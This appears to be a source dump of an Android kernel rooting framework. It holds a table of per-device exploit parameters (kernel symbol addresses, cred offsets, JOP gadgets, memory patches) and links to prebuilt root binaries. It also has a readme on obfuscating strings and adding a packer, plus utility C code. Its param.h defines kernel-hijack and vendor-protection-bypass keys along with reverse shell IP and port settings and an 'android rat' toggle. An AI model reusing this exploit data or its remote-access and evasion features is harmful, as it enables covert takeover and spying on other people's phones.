'Nexus 5', 'Linux version 3.4.0-gcf10b7e (android-build@wpiv11.hot.corp.google.com) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Mon Sep 19 22:14:08 UTC 2016', 'n=1004&k=[101=0xc13380c8;103=0x50;104=0xc1142f80;105=0x58;109=0x4;]&p=[0xc132e460=0x0=0x4;0xc1338118=0x0=0x4;]', NULL, 10, '6.0.1'); 94 | INSERT INTO "root_info" VALUES (59, 1022, 'SM-G900L', 'Linux version 3.4.0-6309255 (dpi@SWDD6912) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Fri Dec 4 15:28:30 KST 2015', 'n=1022&k=[101=0xc14444b8;103=0x50;104=0xc1120f20;105=0x58;107=0xc085167c;109=0x4;811=0x1;]&j=[0x18=0xaaaaaaaa;0x24=0xc02697c0;0x0=0x0;]&p=[0xc142da78=0x0=0x4;0xc1444508=0x0=0x4;]', NULL, 10, 5.0); 95 | INSERT INTO "root_info" VALUES (60, 1003, 'Nexus 6P', 'Linux version 3.10.73-g5b0be8f02fe (android-build@wphs1.hot.corp.google.com) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Thu Jun 8 18:03:16 UTC 2017', 'n=1003&k=[101=0xffffffc001a044a0;103=0xa8;104=0xffffffc001779fe0;105=0x70;109=0x4;200=0xffffffc00074c954;]&j=[0x180=0xaaaaaaaa;0x158=0xaaaabbbb;0x2d0=0xffffffc000afe07c;0x0=0x0;0x28=0xaaaaaaaa;0x48=0xffffffc0003176c4;0x0=0x0;]&p=[0xffffffc00193a1bc=0x0=0x4;0xffffffc001a04548=0x0=0x8;]', NULL, 11, '7.1.2'); 96 | INSERT INTO "root_info" VALUES (61, 1003, 'generic_a15', 'Linux version 4.1.18-gf6402d0 (android@localhost) (gcc version 4.9 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Jan 10 12:54:47 CST 2017', 'n=1003&k=[200=0xffffffc0000f0d88;101=0xffffffc001b8da48;103=0xa8;104=0xffffffc001692e00;105=0x70;109=0x8;]&j=[0x18=0xcccccccc;0x150=0xFFFFFFC000E1B148;0x50=0xFFFFFFC00052F814;0x60=0xbbbbbbbb;0xb0=0xcccccccc;0xb8=0xffffffc000cfcc74;0x120=0xFFFFFFC000562DC4;0x4b0=0xaaaaaaaa;0x68=0xffffffc0000fb1ec;0x0=0x0;0x28=0xaaaaaaaa;0x48=0xffffffc0001ce6e4;0x0=0x0;]&p=[0xffffffc001b5df5c=0x0=0x4;]', NULL, 10, 7.0); 97 | COMMIT; 98 | 99 | PRAGMA foreign_keys = true; 100 | -------------------------------------------------------------------------------- /rootz/1001: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idhyt/androotzf/50bc448190455d324bc56ab02f40c6e024cf4ad2/rootz/1001 -------------------------------------------------------------------------------- /rootz/1002: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idhyt/androotzf/50bc448190455d324bc56ab02f40c6e024cf4ad2/rootz/1002 -------------------------------------------------------------------------------- /rootz/1003: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idhyt/androotzf/50bc448190455d324bc56ab02f40c6e024cf4ad2/rootz/1003 -------------------------------------------------------------------------------- /rootz/1004: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idhyt/androotzf/50bc448190455d324bc56ab02f40c6e024cf4ad2/rootz/1004 -------------------------------------------------------------------------------- /rootz/1010: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idhyt/androotzf/50bc448190455d324bc56ab02f40c6e024cf4ad2/rootz/1010 -------------------------------------------------------------------------------- /rootz/1021: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idhyt/androotzf/50bc448190455d324bc56ab02f40c6e024cf4ad2/rootz/1021 -------------------------------------------------------------------------------- /rootz/1022: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idhyt/androotzf/50bc448190455d324bc56ab02f40c6e024cf4ad2/rootz/1022 -------------------------------------------------------------------------------- /rootz/1041: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idhyt/androotzf/50bc448190455d324bc56ab02f40c6e024cf4ad2/rootz/1041 -------------------------------------------------------------------------------- /rootz/1051: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idhyt/androotzf/50bc448190455d324bc56ab02f40c6e024cf4ad2/rootz/1051 -------------------------------------------------------------------------------- /rootz/onekeyroot/HUAWEI_VTR-AL00_HWVTR+7.0_HUAWEIVTR-AL00_C00B109SP01+user_release-keys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idhyt/androotzf/50bc448190455d324bc56ab02f40c6e024cf4ad2/rootz/onekeyroot/HUAWEI_VTR-AL00_HWVTR+7.0_HUAWEIVTR-AL00_C00B109SP01+user_release-keys -------------------------------------------------------------------------------- /rootz/onekeyroot/Huawei_MT7-TL10_hwmt7+6.0_HuaweiMT7-TL10_C00B555+user_release-keys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idhyt/androotzf/50bc448190455d324bc56ab02f40c6e024cf4ad2/rootz/onekeyroot/Huawei_MT7-TL10_hwmt7+6.0_HuaweiMT7-TL10_C00B555+user_release-keys -------------------------------------------------------------------------------- /rootz/onekeyroot/google_hammerhead_hammerhead+6.0.1_M4B30Z_3437181+user_release-keys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idhyt/androotzf/50bc448190455d324bc56ab02f40c6e024cf4ad2/rootz/onekeyroot/google_hammerhead_hammerhead+6.0.1_M4B30Z_3437181+user_release-keys -------------------------------------------------------------------------------- /rootz/onekeyroot/readme.txt: -------------------------------------------------------------------------------- 1 | string obfuscate and add packer 2 | 3 | getprop | grep ro.build.fingerprint 4 | 5 | fingerprint.replace("/", "_").replace(":", "+") 6 | -------------------------------------------------------------------------------- /utils/device.c: -------------------------------------------------------------------------------- 1 | #include "device.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "log.h" 13 | 14 | #if 0 15 | int getprop(const char *key, char *value, int size) { 16 | FILE *pf = NULL; 17 | char *ps = NULL; 18 | char *pe = NULL; 19 | char *file_buf = NULL; 20 | struct stat st = { 0 }; 21 | int file_size = 0; 22 | int count = 0; 23 | char key_buf[0x100] = { '\0' }; 24 | 25 | errno = 0; 26 | if (stat("/system/build.prop", &st) == -1) { 27 | log_dump(LOG_ERR, "[-] stat false: errno = %d, msg = %s\n", errno, strerror(errno)); 28 | return -1; 29 | } 30 | 31 | file_size = st.st_size; 32 | file_buf = (char *)malloc(sizeof(char) * file_size + 1); 33 | memset(file_buf, 0, sizeof(char) * file_size + 1); 34 | 35 | errno = 0; 36 | pf = fopen("/system/build.prop", "r"); 37 | if (pf == NULL) { 38 | log_dump(LOG_ERR, "[-] fopen false: pf = %p, errno = %d, msg = %s\n", pf, errno, strerror(errno)); 39 | return -1; 40 | } 41 | 42 | count = fread(file_buf, 1, st.st_size, pf); 43 | snprintf(key_buf, 0x100 - 1, "%s=", key); 44 | 45 | ps = strstr(file_buf, key_buf); 46 | if(ps == NULL) { 47 | log_dump(LOG_ERR, "[-] find key = [%s] false\n", key); 48 | goto fail; 49 | } 50 | 51 | pe = strstr(ps, "\n"); 52 | if (pe == NULL) goto fail; 53 | 54 | memcpy(value, ps + strlen(key) + 1, pe - ps - strlen(key) - 1); 55 | 56 | fclose(pf); 57 | return 0; 58 | 59 | fail: 60 | fclose(pf); 61 | return -1; 62 | } 63 | #else 64 | 65 | int getprop(const char *key, char *value, int size) { 66 | int err = 0, ret, fd; 67 | 68 | struct stat st = { 0 }; 69 | 70 | char *file_buf = NULL; 71 | int buf_len = 0; 72 | 73 | char key_buf[0xff] = { 0 }; 74 | memset(key_buf, 0, sizeof(key_buf)); 75 | int key_len = 0; 76 | 77 | char *pos = NULL, *subpos = NULL; 78 | 79 | errno = 0; 80 | if (stat(BUILD_PROP, &st) == -1) { 81 | log_dump(LOG_ERR, "[-] stat false: errno = %d, msg = %s\n", errno, strerror(errno)); 82 | err = -1; 83 | goto out; 84 | } 85 | 86 | buf_len = st.st_size + 1; 87 | file_buf = (char *)malloc(buf_len); 88 | memset(file_buf, 0, buf_len); 89 | 90 | errno = 0; 91 | fd = open(BUILD_PROP, O_RDONLY); 92 | if (fd < 0) { 93 | log_dump(LOG_ERR, "[-] fopen false: fd = %d, errno = %d, msg = %s\n", fd, errno, strerror(errno)); 94 | err = -2; 95 | goto out; 96 | } 97 | 98 | errno = 0; 99 | // ret = fread(file_buf, 1, st.st_size, pf); 100 | ret = read(fd, file_buf, st.st_size); 101 | if(ret != st.st_size) { 102 | log_dump(LOG_ERR, "[-] fread false: ret = %d, errno = %d, msg = %s\n", ret, errno, strerror(errno)); 103 | err = -3; 104 | goto fail; 105 | } 106 | 107 | snprintf(key_buf, sizeof(key_buf) - 1, "%s=", key); 108 | 109 | if((pos = strstr(file_buf, key_buf)) != NULL) { 110 | pos += strlen(key_buf); 111 | if((subpos = strchr(pos, '\n'))!= NULL) { 112 | *subpos = '\0'; 113 | } 114 | } 115 | 116 | if(!pos || !subpos) { 117 | log_dump(LOG_ERR, "[-] find key = [%s] false\n", key); 118 | err = -4; 119 | goto fail; 120 | } 121 | 122 | // log_dump(LOG_DEBUG, "[+] find %s %s\n", key_buf, pos); 123 | 124 | key_len = subpos - pos; 125 | if(key_len < 0 || key_len > size) { 126 | log_dump(LOG_ERR, "[-] calc key len false, key_len = %d\n", key_len); 127 | err = -5; 128 | goto fail; 129 | } 130 | 131 | memcpy(value, pos, key_len); 132 | 133 | fail: 134 | close(fd); 135 | 136 | out: 137 | return err; 138 | } 139 | 140 | 141 | #endif 142 | 143 | 144 | static int get_proc_version(char *value) { 145 | 146 | int fd, ret; 147 | int count = 0; 148 | 149 | errno = 0; 150 | fd = open("/proc/version", 0); // O_RDONLY 151 | if (fd < 0) { 152 | log_dump(LOG_ERR, "[-] open false: fd = %d, errno = %d, msg = %s\n", fd, errno, strerror(errno)); 153 | return -1; 154 | } 155 | 156 | errno = 0; 157 | ret = read(fd, value, 0xff-1); 158 | if (ret < 0) { 159 | log_dump(LOG_ERR, "[-] read false: ret = %d, errno = %d, msg = %s\n", ret, errno, strerror(errno)); 160 | goto fail; 161 | } 162 | // del last \n 163 | *(value + strlen(value) -1) = '\0'; 164 | 165 | close(fd); 166 | return 0; 167 | 168 | fail: 169 | close(fd); 170 | return -1; 171 | } 172 | 173 | int get_device_info(struct device_info *devinfo) { 174 | int err = 0; 175 | if(getprop("ro.product.model", devinfo->model, sizeof(devinfo->model)) < 0) { 176 | err = -1; 177 | log_dump(LOG_ERR, "[-] get 'ro.product.model' false!\n"); 178 | goto fail; 179 | } 180 | 181 | if(get_proc_version(devinfo->proc_version) < 0) { 182 | err = -2; 183 | log_dump(LOG_ERR, "[-] get 'proc version' false!\n"); 184 | goto fail; 185 | } 186 | 187 | if(getprop("ro.build.version.release", devinfo->build_version, sizeof(devinfo->build_version)) < 0) { 188 | err = -3; 189 | log_dump(LOG_ERR, "[-] get 'build version' false!\n"); 190 | goto fail; 191 | } 192 | 193 | #if 0 194 | getprop("ro.product.brand", devinfo->brand, 256); 195 | getprop("ro.product.manufacturer", devinfo->manufacturer, 256); 196 | getprop("ro.build.version.sdk", devinfo->android_sdk, 0x10); 197 | #endif 198 | 199 | #if 0 200 | struct utsname name = { 0 }; 201 | char android_sdk[0x10] = { '\0' }; 202 | int major = 0, minor = 0, other = 0; 203 | int cnt = 0; 204 | 205 | memset(&name, 0, sizeof(name)); 206 | uname(&name); 207 | cnt = sscanf(name.release, "%d.%d.%d", &major, &minor, &other); 208 | printf("[release: %s]\n", name.release); 209 | printf("[version: %s]\n", name.version); 210 | printf("[machine: %s]\n", name.machine); 211 | printf("[sdk: %s]\n", android_sdk); 212 | #endif 213 | 214 | fail: 215 | return err; 216 | } 217 | -------------------------------------------------------------------------------- /utils/dict.c: -------------------------------------------------------------------------------- 1 | /* 2 | https://github.com/hit9/C-dict 3 | */ 4 | 5 | #include "dict.h" 6 | #include 7 | #include 8 | 9 | /* 10 | * prime array 11 | */ 12 | static int prime_array[] = { 13 | 7, 17, 37, 79, 163, 331, 14 | 673, 1361, 2729, 5471, 10949, 21911, 15 | 43853, 87719, 175447, 350899, 701819, 1403641, 16 | 2807303, 5614657, 11229331, 22458671, 44917381, 89834777, 17 | 179669557, 359339171, 718678369, 1437356741, 2147483647}; 18 | 19 | /* the max of size_pos is 28 */ 20 | 21 | #define SIZE_POS_MAX 28 22 | 23 | /* 24 | * bkdr hash function 25 | */ 26 | static unsigned int BKDRHash(char *str) { 27 | unsigned int seed = 131; // 31 131 1313 13131 131313 etc.. 28 | unsigned int hash = 0; 29 | 30 | while (*str) { 31 | hash = hash * seed + (*str++); 32 | } 33 | 34 | return (hash & 0x7FFFFFFF); 35 | } 36 | 37 | /* 38 | * get index(position) by key 39 | */ 40 | static int get_index(dict_t *dict, char *key) { 41 | return BKDRHash(key) % (prime_array[dict->size_pos]); 42 | } 43 | 44 | /* 45 | * init dict's pointer 46 | */ 47 | int dict_init(dict_t *dict) { 48 | dict->size_pos = 0; 49 | dict->ele_num = 0; 50 | dict->bucket = (bucket_t **)calloc( 51 | prime_array[0], 52 | sizeof(bucket_t *)); // each list's head node pointer set to 0 53 | 54 | if (dict->bucket == NULL) return 0; 55 | return 1; 56 | } 57 | 58 | /* 59 | * get dict's size 60 | */ 61 | int dict_size(dict_t *dict) { return dict->ele_num; } 62 | 63 | /* 64 | * resize the dict if ele_num == dict's size.we will reinsert all nodes 65 | * again.but we don't need to check the keys 66 | */ 67 | 68 | static int dict_resize(dict_t *dict) { 69 | if (dict->size_pos - SIZE_POS_MAX >= 0) return 0; // top the max, can't 70 | // resize 71 | 72 | // record olds 73 | int old_size = prime_array[dict->size_pos]; // record old size 74 | bucket_t **old_bucket = dict->bucket; // record the old bucket 75 | 76 | // resize 77 | dict->size_pos += 1; 78 | dict->bucket = (bucket_t **)calloc( 79 | prime_array[dict->size_pos], 80 | sizeof(bucket_t *)); // new bigger 0 space for dict->bucket 81 | 82 | /* --- begin reinsert .. --- */ 83 | int i, index; // iterator for old_bucket[] 84 | bucket_t *t, *p, *q, *node; 85 | 86 | for (i = 0; i < old_size; i++) { 87 | for (t = old_bucket[i]; t; 88 | q = t, t = t->next, free(q)) { // free the old node the same time 89 | // new a node 90 | node = (bucket_t *)malloc(sizeof(bucket_t)); 91 | node->key = t->key; 92 | node->value = t->value; 93 | node->next = 0; 94 | 95 | index = get_index(dict, node->key); 96 | p = (dict->bucket)[index]; // get new dict->bucket[index] first node 97 | // pointer 98 | 99 | // append node to the list 100 | if (!p) 101 | (dict->bucket[index]) = node; 102 | else { 103 | for (; p->next; p = p->next) 104 | ; 105 | p->next = node; 106 | } 107 | } 108 | } 109 | free(old_bucket); // free old bucket 110 | return 1; // success 111 | } 112 | 113 | /* 114 | * if key exists, set the new value.else add a pair of 'key => value' to dict 115 | */ 116 | void dict_set(dict_t *dict, char *key, void *value) { 117 | // if need resize 118 | if (prime_array[dict->size_pos] - dict->ele_num <= 1) dict_resize(dict); 119 | // get index by hash function 120 | int index = get_index(dict, key), flag = 0; // flag for if find the key 121 | 122 | // get its bucket's head node's pointer 123 | bucket_t *first = (dict->bucket)[index], *temp = first; 124 | 125 | for (; temp; temp = temp->next) 126 | if (strcmp(temp->key, key) == 0) { 127 | temp->value = value; 128 | flag = 1; 129 | } 130 | 131 | if (!flag) { // not find key, new a node , and append it to the list 132 | 133 | bucket_t *node = (bucket_t *)malloc(sizeof(bucket_t)); 134 | node->key = key; 135 | node->value = value; 136 | node->next = NULL; 137 | 138 | if (!first) 139 | (dict->bucket)[index] = node; 140 | else { 141 | for (; first->next; first = first->next) 142 | ; 143 | first->next = node; 144 | } 145 | dict->ele_num += 1; 146 | } 147 | } 148 | 149 | int dict_get(dict_t *dict, char *key, void **value) { 150 | int index = get_index(dict, key); 151 | bucket_t *first = (dict->bucket)[index]; 152 | 153 | for (; first; first = first->next) { // first as a iterator pointer, scan the 154 | // list begin from dict->bucket[index] 155 | if (strcmp(key, first->key) == 0) { 156 | *value = first->value; 157 | return 1; // success 158 | } 159 | } 160 | return 0; // failed 161 | } 162 | 163 | int dict_del(dict_t *dict, char *key) { 164 | int index = get_index(dict, key); 165 | bucket_t *p = (dict->bucket)[index]; 166 | if (!p) return 0; // failed. 167 | if (strcmp(p->key, key) == 0) { // if the first is the del node 168 | (dict->bucket)[index] = p->next; 169 | free(p); 170 | dict->ele_num -= 1; 171 | } else { 172 | for (; p->next && !strcmp(p->next->key, key); p = p->next) 173 | ; // get that node's pre node 174 | p->next = p->next->next; 175 | free(p->next); 176 | dict->ele_num -= 1; 177 | } 178 | return 1; 179 | } 180 | 181 | void dict_keys(dict_t *dict, char **key_arr) { 182 | int size = prime_array[dict->size_pos], i = 0, j = 0; 183 | bucket_t *t = NULL; 184 | 185 | for (i = 0; i < size; i++) 186 | for (t = dict->bucket[i]; t; t = t->next) key_arr[j++] = t->key; 187 | } 188 | 189 | void dict_reset(dict_t *dict) { 190 | int size = prime_array[dict->size_pos], i = 0; 191 | bucket_t *t, *p; 192 | 193 | for (i = 0; i < size; i++) { // free all nodes 194 | for (t = (dict->bucket)[i]; t; p = t, t = t->next, free(p)) 195 | ; 196 | (dict->bucket)[i] = NULL; 197 | } 198 | 199 | // reset 200 | dict->size_pos = 0; 201 | dict->ele_num = 0; 202 | free(dict->bucket); 203 | dict->bucket = 204 | (bucket_t **)calloc(prime_array[dict->size_pos], sizeof(bucket_t *)); 205 | } 206 | 207 | void dict_destory(dict_t *dict) { 208 | if(!dict) return; 209 | dict_reset(dict); 210 | free(dict->bucket); 211 | dict->bucket = NULL; 212 | } 213 | 214 | int dict_iter(dict_t *dict, char **key_p, void **value_p) { 215 | int size = prime_array[dict->size_pos]; 216 | 217 | static int i = 0; 218 | static bucket_t *p = NULL; 219 | 220 | for (; !p; p = (dict->bucket)[i++]) 221 | if (i == size) { 222 | i = 0; // reset i 223 | return 0; 224 | } 225 | // assign 226 | *key_p = p->key; 227 | *value_p = p->value; 228 | // p goto the next 229 | p = p->next; 230 | return 1; 231 | } 232 | 233 | int dict_get_ulval(dict_t *dict, char *name, unsigned long *value) { 234 | char *var; 235 | 236 | if (!dict_get(dict, name, (void **)&var)) { 237 | return 0; 238 | } 239 | *value = strtoul(var, NULL, 16); 240 | return 1; 241 | } 242 | 243 | int dict_get_str(dict_t *dict, char *name, char *value, int len) { 244 | char *var; 245 | 246 | if (!dict_get(dict, name, (void **)&var)) { 247 | return 0; 248 | } 249 | strncpy(value, var, len); 250 | return 1; 251 | } 252 | -------------------------------------------------------------------------------- /utils/fn.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "fn.h" 11 | 12 | /* ---------------- string ---------------- */ 13 | 14 | char *makelower(char *text) { 15 | int i; 16 | char *return_str; 17 | return_str = malloc(strlen(text) + 1); 18 | for (i=0; i < strlen(text); i++) { 19 | if((text[i] >= 65) && (text[i] <= 90)) { 20 | return_str[i] = text[i] + 32; 21 | } else { 22 | return_str[i] = text[i]; 23 | } 24 | } 25 | return return_str; 26 | } 27 | 28 | //lowercase search 29 | char *string_search(char *src, char *search) { 30 | char *lower; 31 | lower = makelower(src); 32 | return strstr(lower,search); 33 | } 34 | 35 | #if 0 36 | char* full_path_to_dir(char *full_path) { 37 | if(!full_path) 38 | return NULL; 39 | 40 | int len = strlen(full_path) + 1; 41 | char *tmp_path = malloc(len); 42 | memset(tmp_path, 0, len); 43 | memcpy(tmp_path, full_path, len); 44 | 45 | char *pos, *subpos; 46 | 47 | pos = tmp_path; 48 | 49 | while((subpos = strchr(pos, '/')) != NULL) { 50 | pos = subpos + 1; 51 | // fprintf(stderr, "pos = %s, subpos = %s\n", pos, subpos); 52 | } 53 | 54 | if(pos) { 55 | pos--; 56 | *pos = '\0'; 57 | // fprintf(stderr, "shell_cmd = %s\n", shell_cmd); 58 | } else { 59 | fprintf(stderr, "[-] parse %s to dir error!\n", full_path); 60 | return NULL; 61 | } 62 | 63 | printf("tmp_path = %lp, %s\n", tmp_path, tmp_path); 64 | return tmp_path; 65 | 66 | } 67 | #else 68 | 69 | char* full_path_to_dir(char *full_path, char *full_dir) { 70 | if(!full_path) 71 | return NULL; 72 | 73 | int len = strlen(full_path) + 1; 74 | char *tmp_path = malloc(len); 75 | memset(tmp_path, 0, len); 76 | memcpy(tmp_path, full_path, len); 77 | 78 | char *pos, *subpos; 79 | 80 | pos = tmp_path; 81 | 82 | while((subpos = strchr(pos, '/')) != NULL) { 83 | pos = subpos + 1; 84 | // fprintf(stderr, "pos = %s, subpos = %s\n", pos, subpos); 85 | } 86 | 87 | if(pos) { 88 | pos--; 89 | *pos = '\0'; 90 | // fprintf(stderr, "shell_cmd = %s\n", shell_cmd); 91 | } else { 92 | fprintf(stderr, "[-] parse %s to dir error!\n", full_path); 93 | return NULL; 94 | } 95 | 96 | // fprintf(stderr, "tmp_path = %lp, %s\n", tmp_path, tmp_path); 97 | memcpy(full_dir, tmp_path, strlen(tmp_path)); 98 | return tmp_path; 99 | } 100 | 101 | 102 | int set_fd_limit_max() { 103 | int err = 0, ret; 104 | struct rlimit rlim = { 0 }; 105 | 106 | errno = 0; 107 | ret = getrlimit(RLIMIT_NOFILE, &rlim); 108 | if (ret < 0){ 109 | fprintf(stderr, "[-] get fd limit failed! errno = %d, msg = %s\n", errno, strerror(errno)); 110 | err = -1; 111 | goto out; 112 | } 113 | fprintf(stderr, "[!] changing fd limit from 0x%lx to 0x%lx.\n", rlim.rlim_cur, rlim.rlim_max); 114 | 115 | rlim.rlim_cur = rlim.rlim_max; 116 | errno = 0; 117 | ret = setrlimit(RLIMIT_NOFILE, &rlim); 118 | if(ret < 0){ 119 | fprintf(stderr, "[-] set file description limit failed! errno = %d, msg = %s\n", errno, strerror(errno)); 120 | err = -2; 121 | goto out; 122 | } 123 | 124 | out: 125 | return err; 126 | } 127 | 128 | 129 | int get_pid_by_name(pid_t *pid, char *task_name) { 130 | #define BUF_SIZE 1024 131 | int ret = -1; 132 | DIR *dir; 133 | struct dirent *ptr; 134 | FILE *fp; 135 | char filepath[50]; 136 | char cur_task_name[50]; 137 | char buf[BUF_SIZE]; 138 | 139 | dir = opendir("/proc"); 140 | if (NULL != dir) { 141 | while ((ptr = readdir(dir)) != NULL) { 142 | if ((strcmp(ptr->d_name, ".") == 0) || (strcmp(ptr->d_name, "..") == 0)) 143 | continue; 144 | if (DT_DIR != ptr->d_type) continue; 145 | 146 | sprintf(filepath, "/proc/%s/status", ptr->d_name); 147 | fp = fopen(filepath, "r"); 148 | if (NULL != fp) { 149 | if (fgets(buf, BUF_SIZE - 1, fp) == NULL) { 150 | fclose(fp); 151 | continue; 152 | } 153 | sscanf(buf, "%*s %s", cur_task_name); 154 | 155 | if (!strcmp(task_name, cur_task_name)) { 156 | sscanf(ptr->d_name, "%d", pid); 157 | ret = 0; 158 | } 159 | fclose(fp); 160 | } 161 | } 162 | closedir(dir); 163 | } 164 | 165 | return ret; 166 | } 167 | 168 | void get_name_by_pid(pid_t pid, char *task_name) { 169 | #define BUF_SIZE 1024 170 | char proc_pid_path[BUF_SIZE]; 171 | char buf[BUF_SIZE]; 172 | 173 | sprintf(proc_pid_path, "/proc/%d/status", pid); 174 | FILE *fp = fopen(proc_pid_path, "r"); 175 | if (NULL != fp) { 176 | if (fgets(buf, BUF_SIZE - 1, fp) == NULL) { 177 | fclose(fp); 178 | } 179 | fclose(fp); 180 | sscanf(buf, "%*s %s", task_name); 181 | } 182 | } 183 | 184 | 185 | 186 | #endif -------------------------------------------------------------------------------- /utils/include/device.h: -------------------------------------------------------------------------------- 1 | #ifndef __DEVICE_H 2 | #define __DEVICE_H 3 | 4 | #define BUILD_PROP "/system/build.prop" 5 | 6 | struct device_info { 7 | char model[0x80]; 8 | char proc_version[0x100]; 9 | char build_version[0x10]; 10 | // char brand[0xff]; 11 | // char manufacturer[0xff]; 12 | // char android_sdk[0xff]; 13 | char root_parameters[0x400]; 14 | }; 15 | 16 | int getprop(const char *key, char *value, int size); 17 | 18 | // int get_proc_version(char *value); 19 | 20 | int get_device_info(struct device_info *devinfo); 21 | 22 | #endif -------------------------------------------------------------------------------- /utils/include/dict.h: -------------------------------------------------------------------------------- 1 | #ifndef __DICT_H 2 | #define __DICT_H 3 | 4 | typedef struct _node { 5 | char *key; 6 | void *value; 7 | struct _node *next; 8 | } bucket_t; 9 | 10 | typedef struct { 11 | int size_pos; //size_pos in prime_array, the size of dict = prime_array[size_pos] 12 | int ele_num; //ele number in dict 13 | bucket_t **bucket; 14 | } dict_t; 15 | 16 | /* API */ 17 | 18 | int dict_init(dict_t *); 19 | 20 | int dict_size(dict_t *); 21 | 22 | void dict_set(dict_t *, char *, void *); 23 | 24 | int dict_get(dict_t *, char *, void **); 25 | 26 | int dict_del(dict_t *, char *); 27 | 28 | void dict_keys(dict_t *, char **); 29 | 30 | void dict_reset(dict_t *); 31 | 32 | void dict_destory(dict_t *); 33 | 34 | int dict_iter(dict_t *, char **, void **); 35 | 36 | int dict_get_ulval(dict_t *, char *name, unsigned long *value); 37 | 38 | int dict_get_str(dict_t *, char *name, char *value, int len); 39 | 40 | #endif -------------------------------------------------------------------------------- /utils/include/fn.h: -------------------------------------------------------------------------------- 1 | #ifndef __FN_H 2 | #define __FN_H 3 | 4 | #define ARRAY_SIZE(a) (sizeof(a) / sizeof(*(a))) 5 | 6 | char *makelower(char *text); 7 | 8 | char *string_search(char *src, char *search); 9 | 10 | char* full_path_to_dir(char *full_path, char *full_dir); 11 | 12 | int set_fd_limit_max(); 13 | 14 | int get_pid_by_name(pid_t *pid, char *task_name); 15 | 16 | void get_name_by_pid(pid_t pid, char *task_name); 17 | 18 | #endif -------------------------------------------------------------------------------- /utils/include/log.h: -------------------------------------------------------------------------------- 1 | #ifndef __LOG_H 2 | #define __LOG_H 3 | 4 | #define LOG_CONSOLE 1 // 1, log will to stderr. 5 | 6 | #define LOG_FILE "/data/local/tmp/utils.log" 7 | 8 | #ifdef LOG_CONSOLE 9 | // #define LOGV(...) { printf("%s @ %s:%d with log: ", __FILE__, __FUNCTION__, __LINE__); printf(__VA_ARGS__); fflush(stdout); } 10 | #define LOGV(...) { printf(__VA_ARGS__); fflush(stdout); } 11 | #else 12 | #define LOGV(...) 13 | #endif 14 | 15 | //根据日志级别写日志 16 | #define LOG_ERR 0 // 0=记录错误日志 - 17 | #define LOG_NORMAL 1 // 1=记录日常日志和错误日志 + 18 | #define LOG_DEBUG 2 // 2=记录错误日志日常日志调试日志 * ! 19 | 20 | #ifdef LDEBUG // LOCAL_CFLAGS += -DLDEBUG 21 | #define LOG_LEVEL LOG_DEBUG 22 | #else 23 | #define LOG_LEVEL LOG_ERR 24 | #endif 25 | 26 | #ifndef _MSC_VER 27 | #define _MSC_VER 1600 28 | #endif 29 | 30 | void set_logfile_path(char *pfile); 31 | void log_dump(int loglev, const char *format, ...); 32 | void loghex(int loglev, unsigned char *logmsg, int len); 33 | 34 | #endif 35 | -------------------------------------------------------------------------------- /utils/include/param.h: -------------------------------------------------------------------------------- 1 | #ifndef __PARAM_H 2 | #define __PARAM_H 3 | 4 | /* serial number */ 5 | #define n_sn "n" 6 | 7 | /* kernel func and offset */ 8 | 9 | #define k_ptmx_fops "101" 10 | #define k_ptmx_ioctl_offset "102" 11 | #define k_ptmx_kfunc_offset "103" 12 | 13 | // init_tast used to traverse tasks list 14 | #define k_init_task "104" 15 | // task security offset 16 | #define k_task_security_offset "105" 17 | 18 | // used for control kernel_sock_ioctl regs 19 | #define k_before_kernel_sock_ioctl "106" 20 | // set_fs(KERNEL_FS) used for patch thread_addr limit 21 | #define k_kernel_sock_ioctl "107" 22 | // used for restore kernel_sock_ioctl regs 23 | #define k_after_kernel_sock_ioctl "108" 24 | 25 | // struct cred{} uid offset 26 | #define k_task_cred_uid_offset "109" 27 | 28 | 29 | /* kernel func and offset end */ 30 | 31 | 32 | 33 | /* jop */ 34 | 35 | struct jop_gadget { 36 | unsigned long index; 37 | unsigned long addr; 38 | }; 39 | 40 | struct jop_gadget j_jop1[0x10]; 41 | struct jop_gadget j_jop2[0x10]; 42 | struct jop_gadget j_jop3[0x10]; 43 | struct jop_gadget j_jop4[0x10]; 44 | struct jop_gadget j_jop5[0x10]; 45 | 46 | // 47 | #define j_patch_kfunc_jop "200" 48 | // this value need in 8890 adp 49 | #define j_patch_ptmx_ioctl_jop "201" 50 | 51 | /* jop end */ 52 | 53 | /* patch mem after root*/ 54 | 55 | struct patch_gadget { 56 | unsigned long addr; 57 | unsigned long value; 58 | unsigned char len; 59 | }; 60 | 61 | struct patch_gadget p_patch[0x10]; 62 | 63 | /* patch mem end */ 64 | 65 | // #define adp_fix_ptmx_ioctl_x20_reg_jop 66 | 67 | /* reverse shell and script */ 68 | 69 | #define r_rshell_status "900" // 0 disable, 1 enable 70 | #define r_rshell_ip "901" 71 | #define r_rshell_port "902" 72 | #define r_script_path "903" 73 | #define r_horse_status "911" // android rat 74 | /* reverse shell and script end */ 75 | 76 | 77 | /* vendor protect bypass */ 78 | 79 | // huawei mount 80 | #define k_ro_secure_debuggable "801" 81 | #define k_ro_secure_debuggable_static "802" 82 | 83 | // vendor execve && mount restrict after root 84 | // samsung: 1, vivo: 2, 85 | #define k_vendor_exec_restrict "811" 86 | 87 | // kaslr 88 | #define k_kaslr_2kfunc_offset "851" 89 | 90 | /* vendor protect bypass end */ 91 | 92 | int parse_args(int argc, char* argv[]); 93 | 94 | #endif -------------------------------------------------------------------------------- /utils/include/roothelper.h: -------------------------------------------------------------------------------- 1 | /* 2 | * android roothelper, 